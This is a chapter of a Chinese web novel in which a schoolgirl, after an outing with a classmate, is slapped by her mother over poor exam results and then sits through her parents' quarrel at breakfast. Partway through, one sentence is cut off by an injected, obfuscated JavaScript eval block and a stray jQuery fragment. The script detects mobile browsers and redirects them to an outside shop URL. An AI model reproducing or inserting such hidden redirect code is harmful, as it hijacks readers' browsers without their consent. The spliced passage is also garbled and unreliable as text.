周青禾被他这个样子逗得笑了出来。
两人一起走到一个冰淇淋门店,一人挑了一个超大的甜筒坐在一旁的休息椅上吃。
周青禾吃了几口问旁边的路盛:“你怎么在这?”
“原本想来吃这里新开的一家餐厅,结果林森临时有事,准备走就碰到你了。”
周青禾不解:“你也可以自己吃啊。”
路盛轻笑一声,“一个人吃有什么意思。”说完,他侧头看向周青禾,“你呢?”
“我就是刚上完课出来,然后在这休息一会儿。”周青禾一手撑着脑袋,吃着甜筒,眼睛没目的地看着前面。
路盛看她没有想多说的意思,也没再多问,只是看着她手里的甜筒,“你这个口味好吃吗?”
“还行。”周青禾不太喜欢吃这种甜腻的东西,但秉持着不浪费的原则还是决定把它吃完。
“我也想吃。”
周青禾闻言手一抖,甜筒差点掉地上,她缓慢转头惊恐地看着路盛:“这我吃过的。”
路盛不明所以地“嗯”了一声,随即立刻反应过来,耳朵却先一步发热,他笑着解释:“我的意思是好吃的话我也想买这个口味的。”
“哦。”周青禾松了口气,随口提醒:“少吃点甜的吧,对牙齿不好。”
小时候,奶奶经常和她说要爱护好自己的牙齿。
路盛却歪着脑袋,像是发现了什么新大陆一样,笑得傻傻的:“原来你会对我好好说话啊。”
“……”周青禾懒得搭理他,有些人,就不能给他太多好脸色。
吃完甜筒,周青禾和路盛便分开回了家。
…
小区楼下,周青禾站在电梯门口,心底莫名涌上一阵不安,这种心慌感,在她走到家门口时达到了顶峰。
她拧开门把手,一眼就看见李凤英正坐在沙发上。
听见开门动静,李凤英抬眼望过来,一句话没说。
周青禾心里还憋着早上的火气,没打算主动破冰,她换了拖鞋就要往自己卧室走。
“你们成绩出来了。”李凤英的声音在身后响起。
周青禾脚步一顿,她没继续往前走也没转过身来。
“三十个人,你倒数第五。”
“英语只考了110。”
“这就是你说的在好好学习?”
周青禾却在听到成绩后松了口气,这比她自己预想的要好很多。
“我觉得挺好的。”她转过身来,这句话里多少带着些赌气的成分。
果然,李凤英听到这句话就炸了,她把手机往旁边一甩,厉声质问:“好?你就这点追求?”
周青禾低着头,抿着嘴,不说话。
“说话!”
“……”
李凤英气急反笑,嘲讽:“还想着回家呢,你就乐意一辈子留在那小破镇上,跟着你奶奶穷一辈子是不是!”
周青禾听到这话猛地抬起头,眼神直直地对上李凤英愤怒的目光。
“对!”周青禾破罐子破摔,把心里的怨气在这一刻都发泄了出来:“我从来就没想过来北湾,是你们莫名其妙几年不回家,一回来就和奶奶说要把我带走,你们不想回去,还不让我回去?”
“奶奶一个人在家里,你有想过她吗?就因为你这些年赚了点钱,就觉得我应该听从你所有的决定?说什么为我好,早的时候干嘛去了?”
“还有,我就乐意留在村里!就乐意一辈子陪着奶奶!”
这些话一出来,空气瞬间凝固。
李凤英眼睛难以置信地瞪大,气得整个人都在发抖,下一秒——
“啪!”
极其清脆的一声。
周青禾左脸颊上猛地一痛,火辣辣的。
李凤英怒视着周青禾,一副恨铁不成钢的样子:“废物!”
周青禾眼里亦是不可置信,瞪大了双眼。
李凤英愤然地转身朝卧室走去,紧接着,主卧的门发出一声巨响,整个屋子彻底死寂下来。
周青禾这才反应过来,手轻轻地碰上左脸颊,热辣辣地疼。
她用力抹了一下眼眶里的泪水,走回卧室,拿出镜子一看,左脸已经肿起来了。
“靠!是亲妈,下手真狠!”
她拿出一个白色塑料袋去卫生间装了一袋凉水放进冰箱,过了一会儿,她从里拿出来,轻轻挨在自己已经肿起来的脸上。
*
第二天,餐桌上。
周建国不知道什么时候回来的,三个人分别坐在餐桌的三边,各自喝着碗里的粥。
周青禾昨晚上一点东西没吃,这会儿肚子饿极了,可又因为脸颊上的伤,只能小口小口地喝着。
忽然,周建国抬起头来,眯着眼看了她一会儿,含糊不清地问道:“你脸上怎么回事?怎么感觉有点肿?”
周青禾没吭声,继续低头吃着。
周建国像是猜到了什么,眉头瞬间皱起,对着李凤英道:“你说说你,打她干什么?她都这么大了,什么事情不能好好讲啊?”
李凤英冷笑一声,把勺子不轻不重地磕在碗沿上,用方言说:
“你们周家的人就是这副死样子,说两句就要跟我吵翻天。你这个当爸的当甩手掌柜,啥子事不是我在管?你晓得她这次考试考了倒数第几不……”
周建国听到这些喋喋不休的话,就觉得烦,“啧”了一声,“努力了就行了,你管那么多搞啥子?要我说,读书不得行就算了,反正以后家里面养着……”
“你闭嘴!”
李凤英突然把手里的鸡蛋重重砸在餐桌上,盯着周建国,眼里似有恨。
“周建国,我告诉你,有我在一天,你就不要想着把你那些上不得台面的东西摆上来!你毁了我,还想毁……”
周建国也来了火,打断她的话,声音粗了起来:“老子不知道你一天天的在说个什么鬼东西!”
两人就这么你一言我一语地吵了起来。
周青禾只觉得脑瓜子嗡嗡的,要爆炸了一样,她抓紧把手里的鸡蛋吃完,然后站起身来。
“谁最后吃完谁洗碗。”反正早上的早餐是她做的。
李凤英和周建国都愣住了,看向她。
周青禾拿起桌上那颗刚刚被李凤英砸破壳的鸡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721665|208690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蛋,缝裂得很完美,都省得再剥了。
她拿起手机,走到门口,背上自己的书包就要准备出去。
身后是李凤英更加尖锐的骂声,将火气全撒在她身上。
“周青禾!你又要干什么去!你什么态度?”
回应她的是门被打开又被关上的声音。
周青禾加快脚步,头也不回地进了电梯。
电梯快速地往下行着,她站在里面,原本紧绷着的身体这才慢慢放松下来。
她刻意地不去想刚刚发生的那些争吵,只是一边走着一边用热鸡蛋贴在自己左脸上,但效果甚微。
她叹了口气,索性把鸡蛋壳剥了,吃了。
刚走到地铁站,手机就响了一下。
周建国转了1000过来,问她现在在哪。
周青禾回了句“去上习字班”,然后就把钱收了。
周建国又发来消息:
【我一会儿去出差,不知道什么时候回来,自己照顾好自己。】
【你妈这边,脾气就这样。】
周青禾看着这两条消息,她忽然想起了很多事,她的爸爸似乎总在出差,是真的在出差吗?还是说他们关系早就不好了?
她不敢细想,只是安慰着自己:也许这段时间他们在吵架呢,万叔和万婶也经常吵架,很正常。
她随便回了句“嗯”。第一次觉得,去上课路上竟是一种解脱。
…
下午,周青禾高效率高质量地完成了练字课程后,又去了自习室。
虽然这次月考成绩她已经很满意了,能在这样的学校没有排倒数第一,她真的是谢谢自己前段时间的努力,但是本身这个成绩是完全还不够的,她必须要再加把劲,
路盛昨晚在没有老师的群里发了成绩,她看了自己的各科分数,主要还是英语太低了,喜提了全班倒数第一,除了数学和物理排名靠前外,其他科目都是中规中矩的。
她还分析了班里很多同学的成绩,能排在前面的要么有好几个科目都是最拔尖的,要么都是六边形战士。
清楚自己的不足,才能更好地改进。
周青禾在这安静的环境里学得忘乎所以,手机忽然响起,她吓了一跳,连忙静音,拿着走到外面。
是李凤英打来的电话。
电话一接通,就是她阴阳怪气的说话声:“今晚不打算回来了?”
“在自习室,马上回。”
周青禾说完就挂了,一看时间才发现已经快八点了,她只能收拾好书包回家。
回到家打开门,周青禾和沙发上的李凤英对上视线,谁也没主动说话。
餐桌上,李凤英瞥了眼她的脸,说:“买了点药在柜子里,一会儿吃完饭自己照着说明书擦一下。”
周青禾扒饭的动作一愣,闷闷回答:“哦。”
李凤英没再多说,吃完饭就回了自己卧室。
周青禾洗完碗后,从柜子里翻出药,对着镜子往自己脸上抹,冰冰凉凉的膏体涂在脸上,让她思绪万千,也在思考昨晚上她和李凤英吵架时说的那些话,应该,都是有气极了口不择言的成分吧。